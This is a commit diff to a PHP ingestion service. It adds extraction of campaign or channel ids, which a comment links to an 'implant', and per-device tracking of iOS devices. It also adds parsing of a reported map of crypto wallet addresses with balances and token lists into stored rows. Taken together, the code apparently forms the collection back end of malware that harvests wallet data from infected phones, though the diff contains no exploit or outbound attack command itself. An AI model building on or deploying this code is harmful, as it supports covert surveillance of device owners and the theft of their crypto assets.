init
This commit is contained in:
@@ -34,6 +34,40 @@ class IngestService
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Campaign / channel id from reporting traffic.
|
||||
*
|
||||
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
||||
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
||||
*/
|
||||
public function extractChannelId(Request $request, ?array $payload): ?string
|
||||
{
|
||||
$candidates = [];
|
||||
if (is_array($payload)) {
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['c'] ?? null;
|
||||
$candidates[] = $payload['form']['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['c'] ?? null;
|
||||
$candidates[] = $payload['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $request->input('c');
|
||||
$candidates[] = $request->input('channel');
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
// HAR / implant: lowercase hex, typically 32 chars
|
||||
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
||||
return strtolower(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
@@ -43,6 +77,7 @@ class IngestService
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
@@ -62,6 +97,11 @@ class IngestService
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
if ($channelId !== null) {
|
||||
$attrs['channel_id'] = $channelId;
|
||||
} elseif ($existing) {
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
@@ -188,7 +228,10 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
|
||||
if (isset($payload['ba']) && is_array($payload['ba'])) {
|
||||
$rows = $this->normalizeBaAddressRows($payload['ba']);
|
||||
} elseif (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
@@ -324,6 +367,10 @@ class IngestService
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||
return $info['productVersion'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -353,4 +400,42 @@ class IngestService
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
|
||||
*
|
||||
* @param array<string, mixed> $ba
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function normalizeBaAddressRows(array $ba): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($ba as $address => $assets) {
|
||||
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||
continue;
|
||||
}
|
||||
$list = array_values(array_filter($assets, 'is_array'));
|
||||
if ($list === []) {
|
||||
continue;
|
||||
}
|
||||
$primary = $list[0];
|
||||
foreach ($list as $asset) {
|
||||
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
|
||||
if ($bal !== '' && $bal !== '0') {
|
||||
$primary = $asset;
|
||||
break;
|
||||
}
|
||||
}
|
||||
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chain,
|
||||
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
|
||||
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
|
||||
'assets' => $list,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user